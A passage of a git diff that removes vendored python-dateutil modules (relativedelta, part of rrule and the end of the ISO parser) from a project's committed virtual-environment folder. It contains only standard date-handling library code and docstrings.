_parse_tzstr(self, tzstr, zero_as_utc=True): - if tzstr == b'Z' or tzstr == b'z': - return tz.UTC - - if len(tzstr) not in {3, 5, 6}: - raise ValueError('Time zone offset must be 1, 3, 5 or 6 characters') - - if tzstr[0:1] == b'-': - mult = -1 - elif tzstr[0:1] == b'+': - mult = 1 - else: - raise ValueError('Time zone offset requires sign') - - hours = int(tzstr[1:3]) - if len(tzstr) == 3: - minutes = 0 - else: - minutes = int(tzstr[(4 if tzstr[3:4] == self._TIME_SEP else 3):]) - - if zero_as_utc and hours == 0 and minutes == 0: - return tz.UTC - else: - if minutes > 59: - raise ValueError('Invalid minutes in time zone offset') - - if hours > 23: - raise ValueError('Invalid hours in time zone offset') - - return tz.tzoffset(None, mult * (hours * 60 + minutes) * 60) - - -DEFAULT_ISOPARSER = isoparser() -isoparse = DEFAULT_ISOPARSER.isoparse diff --git a/backend/venv/Lib/site-packages/dateutil/relativedelta.py b/backend/venv/Lib/site-packages/dateutil/relativedelta.py deleted file mode 100644 index cd323a54..00000000 --- a/backend/venv/Lib/site-packages/dateutil/relativedelta.py +++ /dev/null @@ -1,599 +0,0 @@ -# -*- coding: utf-8 -*- -import datetime -import calendar - -import operator -from math import copysign - -from six import integer_types -from warnings import warn - -from ._common import weekday - -MO, TU, WE, TH, FR, SA, SU = weekdays = tuple(weekday(x) for x in range(7)) - -__all__ = ["relativedelta", "MO", "TU", "WE", "TH", "FR", "SA", "SU"] - - -class relativedelta(object): - """ - The relativedelta type is designed to be applied to an existing datetime and - can replace specific components of that datetime, or represents an interval - of time. - - It is based on the specification of the excellent work done by M.-A. Lemburg - in his - `mx.DateTime `_ extension. - However, notice that this type does *NOT* implement the same algorithm as - his work. Do *NOT* expect it to behave like mx.DateTime's counterpart. - - There are two different ways to build a relativedelta instance. The - first one is passing it two date/datetime classes:: - - relativedelta(datetime1, datetime2) - - The second one is passing it any number of the following keyword arguments:: - - relativedelta(arg1=x,arg2=y,arg3=z...) - - year, month, day, hour, minute, second, microsecond: - Absolute information (argument is singular); adding or subtracting a - relativedelta with absolute information does not perform an arithmetic - operation, but rather REPLACES the corresponding value in the - original datetime with the value(s) in relativedelta. - - years, months, weeks, days, hours, minutes, seconds, microseconds: - Relative information, may be negative (argument is plural); adding - or subtracting a relativedelta with relative information performs - the corresponding arithmetic operation on the original datetime value - with the information in the relativedelta. - - weekday: - One of the weekday instances (MO, TU, etc) available in the - relativedelta module. These instances may receive a parameter N, - specifying the Nth weekday, which could be positive or negative - (like MO(+1) or MO(-2)). Not specifying it is the same as specifying - +1. You can also use an integer, where 0=MO. This argument is always - relative e.g. if the calculated date is already Monday, using MO(1) - or MO(-1) won't change the day. To effectively make it absolute, use - it in combination with the day argument (e.g. day=1, MO(1) for first - Monday of the month). - - leapdays: - Will add given days to the date found, if year is a leap - year, and the date found is post 28 of february. - - yearday, nlyearday: - Set the yearday or the non-leap year day (jump leap days). - These are converted to day/month/leapdays information. - - There are relative and absolute forms of the keyword - arguments. The plural is relative, and the singular is - absolute. For each argument in the order below, the absolute form - is applied first (by setting each attribute to that value) and - then the relative form (by adding the value to the attribute). - - The order of attributes considered when this relativedelta is - added to a datetime is: - - 1. Year - 2. Month - 3. Day - 4. Hours - 5. Minutes - 6. Seconds - 7. Microseconds - - Finally, weekday is applied, using the rule described above. - - For example - - >>> from datetime import datetime - >>> from dateutil.relativedelta import relativedelta, MO - >>> dt = datetime(2018, 4, 9, 13, 37, 0) - >>> delta = relativedelta(hours=25, day=1, weekday=MO(1)) - >>> dt + delta - datetime.datetime(2018, 4, 2, 14, 37) - - First, the day is set to 1 (the first of the month), then 25 hours - are added, to get to the 2nd day and 14th hour, finally the - weekday is applied, but since the 2nd is already a Monday there is - no effect. - - """ - - def __init__(self, dt1=None, dt2=None, - years=0, months=0, days=0, leapdays=0, weeks=0, - hours=0, minutes=0, seconds=0, microseconds=0, - year=None, month=None, day=None, weekday=None, - yearday=None, nlyearday=None, - hour=None, minute=None, second=None, microsecond=None): - - if dt1 and dt2: - # datetime is a subclass of date. So both must be date - if not (isinstance(dt1, datetime.date) and - isinstance(dt2, datetime.date)): - raise TypeError("relativedelta only diffs datetime/date") - - # We allow two dates, or two datetimes, so we coerce them to be - # of the same type - if (isinstance(dt1, datetime.datetime) != - isinstance(dt2, datetime.datetime)): - if not isinstance(dt1, datetime.datetime): - dt1 = datetime.datetime.fromordinal(dt1.toordinal()) - elif not isinstance(dt2, datetime.datetime): - dt2 = datetime.datetime.fromordinal(dt2.toordinal()) - - self.years = 0 - self.months = 0 - self.days = 0 - self.leapdays = 0 - self.hours = 0 - self.minutes = 0 - self.seconds = 0 - self.microseconds = 0 - self.year = None - self.month = None - self.day = None - self.weekday = None - self.hour = None - self.minute = None - self.second = None - self.microsecond = None - self._has_time = 0 - - # Get year / month delta between the two - months = (dt1.year - dt2.year) * 12 + (dt1.month - dt2.month) - self._set_months(months) - - # Remove the year/month delta so the timedelta is just well-defined - # time units (seconds, days and microseconds) - dtm = self.__radd__(dt2) - - # If we've overshot our target, make an adjustment - if dt1 < dt2: - compare = operator.gt - increment = 1 - else: - compare = operator.lt - increment = -1 - - while compare(dt1, dtm): - months += increment - self._set_months(months) - dtm = self.__radd__(dt2) - - # Get the timedelta between the "months-adjusted" date and dt1 - delta = dt1 - dtm - self.seconds = delta.seconds + delta.days * 86400 - self.microseconds = delta.microseconds - else: - # Check for non-integer values in integer-only quantities - if any(x is not None and x != int(x) for x in (years, months)): - raise ValueError("Non-integer years and months are " - "ambiguous and not currently supported.") - - # Relative information - self.years = int(years) - self.months = int(months) - self.days = days + weeks * 7 - self.leapdays = leapdays - self.hours = hours - self.minutes = minutes - self.seconds = seconds - self.microseconds = microseconds - - # Absolute information - self.year = year - self.month = month - self.day = day - self.hour = hour - self.minute = minute - self.second = second - self.microsecond = microsecond - - if any(x is not None and int(x) != x - for x in (year, month, day, hour, - minute, second, microsecond)): - # For now we'll deprecate floats - later it'll be an error. - warn("Non-integer value passed as absolute information. " + - "This is not a well-defined condition and will raise " + - "errors in future versions.", DeprecationWarning) - - if isinstance(weekday, integer_types): - self.weekday = weekdays[weekday] - else: - self.weekday = weekday - - yday = 0 - if nlyearday: - yday = nlyearday - elif yearday: - yday = yearday - if yearday > 59: - self.leapdays = -1 - if yday: - ydayidx = [31, 59, 90, 120, 151, 181, 212, - 243, 273, 304, 334, 366] - for idx, ydays in enumerate(ydayidx): - if yday <= ydays: - self.month = idx+1 - if idx == 0: - self.day = yday - else: - self.day = yday-ydayidx[idx-1] - break - else: - raise ValueError("invalid year day (%d)" % yday) - - self._fix() - - def _fix(self): - if abs(self.microseconds) > 999999: - s = _sign(self.microseconds) - div, mod = divmod(self.microseconds * s, 1000000) - self.microseconds = mod * s - self.seconds += div * s - if abs(self.seconds) > 59: - s = _sign(self.seconds) - div, mod = divmod(self.seconds * s, 60) - self.seconds = mod * s - self.minutes += div * s - if abs(self.minutes) > 59: - s = _sign(self.minutes) - div, mod = divmod(self.minutes * s, 60) - self.minutes = mod * s - self.hours += div * s - if abs(self.hours) > 23: - s = _sign(self.hours) - div, mod = divmod(self.hours * s, 24) - self.hours = mod * s - self.days += div * s - if abs(self.months) > 11: - s = _sign(self.months) - div, mod = divmod(self.months * s, 12) - self.months = mod * s - self.years += div * s - if (self.hours or self.minutes or self.seconds or self.microseconds - or self.hour is not None or self.minute is not None or - self.second is not None or self.microsecond is not None): - self._has_time = 1 - else: - self._has_time = 0 - - @property - def weeks(self): - return int(self.days / 7.0) - - @weeks.setter - def weeks(self, value): - self.days = self.days - (self.weeks * 7) + value * 7 - - def _set_months(self, months): - self.months = months - if abs(self.months) > 11: - s = _sign(self.months) - div, mod = divmod(self.months * s, 12) - self.months = mod * s - self.years = div * s - else: - self.years = 0 - - def normalized(self): - """ - Return a version of this object represented entirely using integer - values for the relative attributes. - - >>> relativedelta(days=1.5, hours=2).normalized() - relativedelta(days=+1, hours=+14) - - :return: - Returns a :class:`dateutil.relativedelta.relativedelta` object. - """ - # Cascade remainders down (rounding each to roughly nearest microsecond) - days = int(self.days) - - hours_f = round(self.hours + 24 * (self.days - days), 11) - hours = int(hours_f) - - minutes_f = round(self.minutes + 60 * (hours_f - hours), 10) - minutes = int(minutes_f) - - seconds_f = round(self.seconds + 60 * (minutes_f - minutes), 8) - seconds = int(seconds_f) - - microseconds = round(self.microseconds + 1e6 * (seconds_f - seconds)) - - # Constructor carries overflow back up with call to _fix() - return self.__class__(years=self.years, months=self.months, - days=days, hours=hours, minutes=minutes, - seconds=seconds, microseconds=microseconds, - leapdays=self.leapdays, year=self.year, - month=self.month, day=self.day, - weekday=self.weekday, hour=self.hour, - minute=self.minute, second=self.second, - microsecond=self.microsecond) - - def __add__(self, other): - if isinstance(other, relativedelta): - return self.__class__(years=other.years + self.years, - months=other.months + self.months, - days=other.days + self.days, - hours=other.hours + self.hours, - minutes=other.minutes + self.minutes, - seconds=other.seconds + self.seconds, - microseconds=(other.microseconds + - self.microseconds), - leapdays=other.leapdays or self.leapdays, - year=(other.year if other.year is not None - else self.year), - month=(other.month if other.month is not None - else self.month), - day=(other.day if other.day is not None - else self.day), - weekday=(other.weekday if other.weekday is not None - else self.weekday), - hour=(other.hour if other.hour is not None - else self.hour), - minute=(other.minute if other.minute is not None - else self.minute), - second=(other.second if other.second is not None - else self.second), - microsecond=(other.microsecond if other.microsecond - is not None else - self.microsecond)) - if isinstance(other, datetime.timedelta): - return self.__class__(years=self.years, - months=self.months, - days=self.days + other.days, - hours=self.hours, - minutes=self.minutes, - seconds=self.seconds + other.seconds, - microseconds=self.microseconds + other.microseconds, - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - if not isinstance(other, datetime.date): - return NotImplemented - elif self._has_time and not isinstance(other, datetime.datetime): - other = datetime.datetime.fromordinal(other.toordinal()) - year = (self.year or other.year)+self.years - month = self.month or other.month - if self.months: - assert 1 <= abs(self.months) <= 12 - month += self.months - if month > 12: - year += 1 - month -= 12 - elif month < 1: - year -= 1 - month += 12 - day = min(calendar.monthrange(year, month)[1], - self.day or other.day) - repl = {"year": year, "month": month, "day": day} - for attr in ["hour", "minute", "second", "microsecond"]: - value = getattr(self, attr) - if value is not None: - repl[attr] = value - days = self.days - if self.leapdays and month > 2 and calendar.isleap(year): - days += self.leapdays - ret = (other.replace(**repl) - + datetime.timedelta(days=days, - hours=self.hours, - minutes=self.minutes, - seconds=self.seconds, - microseconds=self.microseconds)) - if self.weekday: - weekday, nth = self.weekday.weekday, self.weekday.n or 1 - jumpdays = (abs(nth) - 1) * 7 - if nth > 0: - jumpdays += (7 - ret.weekday() + weekday) % 7 - else: - jumpdays += (ret.weekday() - weekday) % 7 - jumpdays *= -1 - ret += datetime.timedelta(days=jumpdays) - return ret - - def __radd__(self, other): - return self.__add__(other) - - def __rsub__(self, other): - return self.__neg__().__radd__(other) - - def __sub__(self, other): - if not isinstance(other, relativedelta): - return NotImplemented # In case the other object defines __rsub__ - return self.__class__(years=self.years - other.years, - months=self.months - other.months, - days=self.days - other.days, - hours=self.hours - other.hours, - minutes=self.minutes - other.minutes, - seconds=self.seconds - other.seconds, - microseconds=self.microseconds - other.microseconds, - leapdays=self.leapdays or other.leapdays, - year=(self.year if self.year is not None - else other.year), - month=(self.month if self.month is not None else - other.month), - day=(self.day if self.day is not None else - other.day), - weekday=(self.weekday if self.weekday is not None else - other.weekday), - hour=(self.hour if self.hour is not None else - other.hour), - minute=(self.minute if self.minute is not None else - other.minute), - second=(self.second if self.second is not None else - other.second), - microsecond=(self.microsecond if self.microsecond - is not None else - other.microsecond)) - - def __abs__(self): - return self.__class__(years=abs(self.years), - months=abs(self.months), - days=abs(self.days), - hours=abs(self.hours), - minutes=abs(self.minutes), - seconds=abs(self.seconds), - microseconds=abs(self.microseconds), - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - def __neg__(self): - return self.__class__(years=-self.years, - months=-self.months, - days=-self.days, - hours=-self.hours, - minutes=-self.minutes, - seconds=-self.seconds, - microseconds=-self.microseconds, - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - def __bool__(self): - return not (not self.years and - not self.months and - not self.days and - not self.hours and - not self.minutes and - not self.seconds and - not self.microseconds and - not self.leapdays and - self.year is None and - self.month is None and - self.day is None and - self.weekday is None and - self.hour is None and - self.minute is None and - self.second is None and - self.microsecond is None) - # Compatibility with Python 2.x - __nonzero__ = __bool__ - - def __mul__(self, other): - try: - f = float(other) - except TypeError: - return NotImplemented - - return self.__class__(years=int(self.years * f), - months=int(self.months * f), - days=int(self.days * f), - hours=int(self.hours * f), - minutes=int(self.minutes * f), - seconds=int(self.seconds * f), - microseconds=int(self.microseconds * f), - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - __rmul__ = __mul__ - - def __eq__(self, other): - if not isinstance(other, relativedelta): - return NotImplemented - if self.weekday or other.weekday: - if not self.weekday or not other.weekday: - return False - if self.weekday.weekday != other.weekday.weekday: - return False - n1, n2 = self.weekday.n, other.weekday.n - if n1 != n2 and not ((not n1 or n1 == 1) and (not n2 or n2 == 1)): - return False - return (self.years == other.years and - self.months == other.months and - self.days == other.days and - self.hours == other.hours and - self.minutes == other.minutes and - self.seconds == other.seconds and - self.microseconds == other.microseconds and - self.leapdays == other.leapdays and - self.year == other.year and - self.month == other.month and - self.day == other.day and - self.hour == other.hour and - self.minute == other.minute and - self.second == other.second and - self.microsecond == other.microsecond) - - def __hash__(self): - return hash(( - self.weekday, - self.years, - self.months, - self.days, - self.hours, - self.minutes, - self.seconds, - self.microseconds, - self.leapdays, - self.year, - self.month, - self.day, - self.hour, - self.minute, - self.second, - self.microsecond, - )) - - def __ne__(self, other): - return not self.__eq__(other) - - def __div__(self, other): - try: - reciprocal = 1 / float(other) - except TypeError: - return NotImplemented - - return self.__mul__(reciprocal) - - __truediv__ = __div__ - - def __repr__(self): - l = [] - for attr in ["years", "months", "days", "leapdays", - "hours", "minutes", "seconds", "microseconds"]: - value = getattr(self, attr) - if value: - l.append("{attr}={value:+g}".format(attr=attr, value=value)) - for attr in ["year", "month", "day", "weekday", - "hour", "minute", "second", "microsecond"]: - value = getattr(self, attr) - if value is not None: - l.append("{attr}={value}".format(attr=attr, value=repr(value))) - return "{classname}({attrs})".format(classname=self.__class__.__name__, - attrs=", ".join(l)) - - -def _sign(x): - return int(copysign(1, x)) - -# vim:ts=4:sw=4:et diff --git a/backend/venv/Lib/site-packages/dateutil/rrule.py b/backend/venv/Lib/site-packages/dateutil/rrule.py deleted file mode 100644 index 571a0d2b..00000000 --- a/backend/venv/Lib/site-packages/dateutil/rrule.py +++ /dev/null @@ -1,1737 +0,0 @@ -# -*- coding: utf-8 -*- -""" -The rrule module offers a small, complete, and very fast, implementation of -the recurrence rules documented in the -`iCalendar RFC `_, -including support for caching of results. -""" -import calendar -import datetime -import heapq -import itertools -import re -import sys -from functools import wraps -# For warning about deprecation of until and count -from warnings import warn - -from six import advance_iterator, integer_types - -from six.moves import _thread, range - -from ._common import weekday as weekdaybase - -try: - from math import gcd -except ImportError: - from fractions import gcd - -__all__ = ["rrule", "rruleset", "rrulestr", - "YEARLY", "MONTHLY", "WEEKLY", "DAILY", - "HOURLY", "MINUTELY", "SECONDLY", - "MO", "TU", "WE", "TH", "FR", "SA", "SU"] - -# Every mask is 7 days longer to handle cross-year weekly periods. -M366MASK = tuple([1]*31+[2]*29+[3]*31+[4]*30+[5]*31+[6]*30 + - [7]*31+[8]*31+[9]*30+[10]*31+[11]*30+[12]*31+[1]*7) -M365MASK = list(M366MASK) -M29, M30, M31 = list(range(1, 30)), list(range(1, 31)), list(range(1, 32)) -MDAY366MASK = tuple(M31+M29+M31+M30+M31+M30+M31+M31+M30+M31+M30+M31+M31[:7]) -MDAY365MASK = list(MDAY366MASK) -M29, M30, M31 = list(range(-29, 0)), list(range(-30, 0)), list(range(-31, 0)) -NMDAY366MASK = tuple(M31+M29+M31+M30+M31+M30+M31+M31+M30+M31+M30+M31+M31[:7]) -NMDAY365MASK = list(NMDAY366MASK) -M366RANGE = (0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366) -M365RANGE = (0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365) -WDAYMASK = [0, 1, 2, 3, 4, 5, 6]*55 -del M29, M30, M31, M365MASK[59], MDAY365MASK[59], NMDAY365MASK[31] -MDAY365MASK = tuple(MDAY365MASK) -M365MASK = tuple(M365MASK) - -FREQNAMES = ['YEARLY', 'MONTHLY', 'WEEKLY', 'DAILY', 'HOURLY', 'MINUTELY', 'SECONDLY'] - -(YEARLY, - MONTHLY, - WEEKLY, - DAILY, - HOURLY, - MINUTELY, - SECONDLY) = list(range(7)) - -# Imported on demand. -easter = None -parser = None - - -class weekday(weekdaybase): - """ - This version of weekday does not allow n = 0. - """ - def __init__(self, wkday, n=None): - if n == 0: - raise ValueError("Can't create weekday with n==0") - - super(weekday, self).__init__(wkday, n) - - -MO, TU, WE, TH, FR, SA, SU = weekdays = tuple(weekday(x) for x in range(7)) - - -def _invalidates_cache(f): - """ - Decorator for rruleset methods which may invalidate the - cached length. - """ - @wraps(f) - def inner_func(self, *args, **kwargs): - rv = f(self, *args, **kwargs) - self._invalidate_cache() - return rv - - return inner_func - - -class rrulebase(object): - def __init__(self, cache=False): - if cache: - self._cache = [] - self._cache_lock = _thread.allocate_lock() - self._invalidate_cache() - else: - self._cache = None - self._cache_complete = False - self._len = None - - def __iter__(self): - if self._cache_complete: - return iter(self._cache) - elif self._cache is None: - return self._iter() - else: - return self._iter_cached() - - def _invalidate_cache(self): - if self._cache is not None: - self._cache = [] - self._cache_complete = False - self._cache_gen = self._iter() - - if self._cache_lock.locked(): - self._cache_lock.release() - - self._len = None - - def _iter_cached(self): - i = 0 - gen = self._cache_gen - cache = self._cache - acquire = self._cache_lock.acquire - release = self._cache_lock.release - while gen: - if i == len(cache): - acquire() - if self._cache_complete: - break - try: - for j in range(10): - cache.append(advance_iterator(gen)) - except StopIteration: - self._cache_gen = gen = None - self._cache_complete = True - break - release() - yield cache[i] - i += 1 - while i < self._len: - yield cache[i] - i += 1 - - def __getitem__(self, item): - if self._cache_complete: - return self._cache[item] - elif isinstance(item, slice): - if item.step and item.step < 0: - return list(iter(self))[item] - else: - return list(itertools.islice(self, - item.start or 0, - item.stop or sys.maxsize, - item.step or 1)) - elif item >= 0: - gen = iter(self) - try: - for i in range(item+1): - res = advance_iterator(gen) - except StopIteration: - raise IndexError - return res - else: - return list(iter(self))[item] - - def __contains__(self, item): - if self._cache_complete: - return item in self._cache - else: - for i in self: - if i == item: - return True - elif i > item: - return False - return False - - # __len__() introduces a large performance penalty. - def count(self): - """ Returns the number of recurrences in this set. It will have go - through the whole recurrence, if this hasn't been done before. """ - if self._len is None: - for x in self: - pass - return self._len - - def before(self, dt, inc=False): - """ Returns the last recurrence before the given datetime instance. The - inc keyword defines what happens if dt is an occurrence. With - inc=True, if dt itself is an occurrence, it will be returned. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - last = None - if inc: - for i in gen: - if i > dt: - break - last = i - else: - for i in gen: - if i >= dt: - break - last = i - return last - - def after(self, dt, inc=False): - """ Returns the first recurrence after the given datetime instance. The - inc keyword defines what happens if dt is an occurrence. With - inc=True, if dt itself is an occurrence, it will be returned. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - if inc: - for i in gen: - if i >= dt: - return i - else: - for i in gen: - if i > dt: - return i - return None - - def xafter(self, dt, count=None, inc=False): - """ - Generator which yields up to `count` recurrences after the given - datetime instance, equivalent to `after`. - - :param dt: - The datetime at which to start generating recurrences. - - :param count: - The maximum number of recurrences to generate. If `None` (default), - dates are generated until the recurrence rule is exhausted. - - :param inc: - If `dt` is an instance of the rule and `inc` is `True`, it is - included in the output. - - :yields: Yields a sequence of `datetime` objects. - """ - - if self._cache_complete: - gen = self._cache - else: - gen = self - - # Select the comparison function - if inc: - comp = lambda dc, dtc: dc >= dtc - else: - comp = lambda dc, dtc: dc > dtc - - # Generate dates - n = 0 - for d in gen: - if comp(d, dt): - if count is not None: - n += 1 - if n > count: - break - - yield d - - def between(self, after, before, inc=False, count=1): - """ Returns all the occurrences of the rrule between after and before. - The inc keyword defines what happens if after and/or before are - themselves occurrences. With inc=True, they will be included in the - list, if they are found in the recurrence set. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - started = False - l = [] - if inc: - for i in gen: - if i > before: - break - elif not started: - if i >= after: - started = True - l.append(i) - else: - l.append(i) - else: - for i in gen: - if i >= before: - break - elif not started: - if i > after: - started = True - l.append(i) - else: - l.append(i) - return l - - -class rrule(rrulebase): - """ - That's the base of the rrule operation. It accepts all the keywords - defined in the RFC as its constructor parameters (except byday, - which was renamed to byweekday) and more. The constructor prototype is:: - - rrule(freq) - - Where freq must be one of YEARLY, MONTHLY, WEEKLY, DAILY, HOURLY, MINUTELY, - or SECONDLY. - - .. note:: - Per RFC section 3.3.10, recurrence instances falling on invalid dates - and times are ignored rather than coerced: - - Recurrence rules may generate recurrence instances with an invalid - date (e.g., February 30) or nonexistent local time (e.g., 1:30 AM - on a day where the local time is moved forward by an hour at 1:00 - AM). Such recurrence instances MUST be ignored and MUST NOT be - counted as part of the recurrence set. - - This can lead to possibly surprising behavior when, for example, the - start date occurs at the end of the month: - - >>> from dateutil.rrule import rrule, MONTHLY - >>> from datetime import datetime - >>> start_date = datetime(2014, 12, 31) - >>> list(rrule(freq=MONTHLY, count=4, dtstart=start_date)) - ... # doctest: +NORMALIZE_WHITESPACE - [datetime.datetime(2014, 12, 31, 0, 0), - datetime.datetime(2015, 1, 31, 0, 0), - datetime.datetime(2015, 3, 31, 0, 0), - datetime.datetime(2015, 5, 31, 0, 0)] - - Additionally, it supports the following keyword arguments: - - :param dtstart: - The recurrence start. Besides being the base for the recurrence, - missing parameters in the final recurrence instances will also be - extracted from this date. If not given, datetime.now() will be used - instead. - :param interval: - The interval between each freq iteration. For example, when using - YEARLY, an interval of 2 means once every two years, but with HOURLY, - it means once every two hours. The default interval is 1. - :param wkst: - The week start day. Must be one of the MO, TU, WE constants, or an - integer, specifying the first day of the week. This will affect - recurrences based on weekly periods. The default week start is got - from calendar.firstweekday(), and may be modified by - calendar.setfirstweekday(). - :param count: - If given, this determines how many occurrences will be generated. - - .. note:: - As of version 2.5.0, the use of the keyword ``until`` in conjunction - with ``count`` is deprecated, to make sure ``dateutil`` is fully - compliant with `RFC-5545 Sec. 3.3.10 `_. Therefore, ``until`` and ``count`` - **must not** occur in the same call to ``rrule``. - :param until: - If given, this must be a datetime instance specifying the upper-bound - limit of the recurrence. The last recurrence in the rule is the greatest - datetime that is less than or equal to the value specified in the - ``until`` parameter. - - .. note:: - As of version 2.5.0, the use of the keyword ``until`` in conjunction - with ``count`` is deprecated, to make sure ``dateutil`` is fully - compliant with `RFC-5545 Sec. 3.3.10 `_. Therefore, ``until`` and ``count`` - **must not** occur in the same call to ``rrule``. - :param bysetpos: - If given, it must be either an integer, or a sequence of integers, - positive or negative. Each given integer will specify an occurrence - number, corresponding to the nth occurrence of the rule inside the - frequency period. For example, a bysetpos of -1 if combined with a - MONTHLY frequency, and a byweekday of (MO, TU, WE, TH, FR), will - result in the last work day of every month. - :param bymonth: - If given, it must be either an integer, or a sequence of integers, - meaning the months to apply the recurrence to. - :param bymonthday: - If given, it must be either an integer, or a sequence of integers, - meaning the month days to apply the recurrence to. - :param byyearday: - If given, it must be either an integer, or a sequence of integers, - meaning the year days to apply the recurrence to. - :param byeaster: - If given, it must be either an integer, or a sequence of integers, - positive or negative. Each integer will define an offset from the - Easter Sunday. Passing the offset 0 to byeaster will yield the Easter - Sunday itself. This is an extension to the RFC specification. - :param byweekno: - If given, it must be either an integer, or a sequence of integers, - meaning the week numbers to apply the recurrence to. Week numbers - have the meaning described in ISO8601, that is, the first week of - the year is that containing at least four days of the new year. - :param byweekday: - If given, it must be either an integer (0 == MO), a sequence of - integers, one of the weekday constants (MO, TU, etc), or a sequence - of these constants. When given, these variables will define the - weekdays where the recurrence will be applied. It's also possible to - use an argument n for the weekday instances, which will mean the nth - occurrence of this weekday in the period. For example, with MONTHLY, - or with YEARLY and BYMONTH, using FR(+1) in byweekday will specify the - first friday of the month where the recurrence happens. Notice that in - the RFC documentation, this is specified as BYDAY, but was renamed to - avoid the ambiguity of that keyword. - :param byhour: - If given, it must be either an integer, or a sequence of integers, - meaning the hours to apply the recurrence to. - :param byminute: - If given, it must be either an integer, or a sequence of integers, - meaning the minutes to apply the recurrence to. - :param bysecond: - If given, it must be either an integer, or a sequence of integers, - meaning the seconds to apply the recurrence to. - :param cache: - If given, it must be a boolean value specifying to enable or disable - caching of results. If you will use the same rrule instance multiple - times, enabling caching will improve the performance considerably. - """ - def __init__(self, freq, dtstart=None, - interval=1, wkst=None, count=None, until=None, bysetpos=None, - bymonth=None, bymonthday=None, byyearday=None, byeaster=None, - byweekno=None, byweekday=None, - byhour=None, byminute=None, bysecond=None, - cache=False): - super(rrule, self).__init__(cache) - global easter - if not dtstart: - if until and until.tzinfo: - dtstart = datetime.datetime.now(tz=until.tzinfo).replace(microsecond=0) - else: - dtstart = datetime.datetime.now().replace(microsecond=0) - elif not isinstance(dtstart, datetime.datetime): - dtstart = datetime.datetime.fromordinal(dtstart.toordinal()) - else: - dtstart = dtstart.replace(microsecond=0) - self._dtstart = dtstart - self._tzinfo = dtstart.tzinfo - self._freq = freq - self._interval = interval - self._count = count - - # Cache the original byxxx rules, if they are provided, as the _byxxx - # attributes do not necessarily map to the inputs, and this can be - # a problem in generating the strings. Only store things if they've - # been supplied (the string retrieval will just use .get()) - self._original_rule = {} - - if until and not isinstance(until, datetime.datetime): - until = datetime.datetime.fromordinal(until.toordinal()) - self._until = until - - if self._dtstart and self._until: - if (self._dtstart.tzinfo is not None) != (self._until.tzinfo is not None): - # According to RFC5545 Section 3.3.10: - # https://tools.ietf.org/html/rfc5545#section-3.3.10 - # - # > If the "DTSTART" property is specified as a date with UTC - # > time or a date with local time and time zone reference, - # > then the UNTIL rule part MUST be specified as a date with - # > UTC time. - raise ValueError( - 'RRULE UNTIL values must be specified in UTC when DTSTART ' - 'is timezone-aware' - ) - - if count is not None and until: - warn("Using both 'count' and 'until' is inconsistent with RFC 5545" - " and has been deprecated in dateutil. Future versions will " - "raise an error.", DeprecationWarning) - - if wkst is None: - self._wkst = calendar.firstweekday() - elif isinstance(wkst, integer_types): - self._wkst = wkst - else: - self._wkst = wkst.weekday - - if bysetpos is None: - self._bysetpos = None - elif isinstance(bysetpos, integer_types): - if bysetpos == 0 or not (-366 <= bysetpos <= 366): - raise ValueError("bysetpos must be between 1 and 366, " - "or between -366 and -1") - self._bysetpos = (bysetpos,) - else: - self._bysetpos = tuple(bysetpos) - for pos in self._bysetpos: - if pos == 0 or not (-366 <= pos <= 366): - raise ValueError("bysetpos must be between 1 and 366, " - "or between -366 and -1") - - if self._bysetpos: - self._original_rule['bysetpos'] = self._bysetpos - - if (byweekno is None and byyearday is None and bymonthday is None and - byweekday is None and byeaster is None): - if freq == YEARLY: - if bymonth is None: - bymonth = dtstart.month - self._original_rule['bymonth'] = None - bymonthday = dtstart.day - self._original_rule['bymonthday'] = None - elif freq == MONTHLY: - bymonthday = dtstart.day - self._original_rule['bymonthday'] = None - elif freq == WEEKLY: - byweekday = dtstart.weekday() - self._original_rule['byweekday'] = None - - # bymonth - if bymonth is None: - self._bymonth = None - else: - if isinstance(bymonth, integer_types): - bymonth = (bymonth,) - - self._bymonth = tuple(sorted(set(bymonth))) - - if 'bymonth' not in self._original_rule: - self._original_rule['bymonth'] = self._bymonth - - # byyearday - if byyearday is None: - self._byyearday = None - else: - if isinstance(byyearday, integer_types): - byyearday = (byyearday,) - - self._byyearday = tuple(sorted(set(byyearday))) - self._original_rule['byyearday'] = self._byyearday - - # byeaster - if byeaster is not None: - if not easter: - from dateutil import easter - if isinstance(byeaster, integer_types): - self._byeaster = (byeaster,) - else: - self._byeaster = tuple(sorted(byeaster)) - - self._original_rule['byeaster'] = self._byeaster - else: - self._byeaster = None - - # bymonthday - if bymonthday is None: - self._bymonthday = () - self._bynmonthday = () - else: - if isinstance(bymonthday, integer_types): - bymonthday = (bymonthday,) - - bymonthday = set(bymonthday) # Ensure it's unique - - self._bymonthday = tuple(sorted(x for x in bymonthday if x > 0)) - self._bynmonthday = tuple(sorted(x for x in bymonthday if x < 0)) - - # Storing positive numbers first, then negative numbers - if 'bymonthday' not in self._original_rule: - self._original_rule['bymonthday'] = tuple( - itertools.chain(self._bymonthday, self._bynmonthday)) - - # byweekno - if byweekno is None: - self._byweekno = None - else: - if isinstance(byweekno, integer_types): - byweekno = (byweekno,) - - self._byweekno = tuple(sorted(set(byweekno))) - - self._original_rule['byweekno'] = self._byweekno - - # byweekday / bynweekday - if byweekday is None: - self._byweekday = None - self._bynweekday = None - else: - # If it's one of the valid non-sequence types, convert to a - # single-element sequence before the iterator that builds the - # byweekday set. - if isinstance(byweekday, integer_types) or hasattr(byweekday, "n"): - byweekday = (byweekday,) - - self._byweekday = set() - self._bynweekday = set() - for wday in byweekday: - if isinstance(wday, integer_types): - self._byweekday.add(wday) - elif not wday.n or freq > MONTHLY: - self._byweekday.add(wday.weekday) - else: - self._bynweekday.add((wday.weekday, wday.n)) - - if not 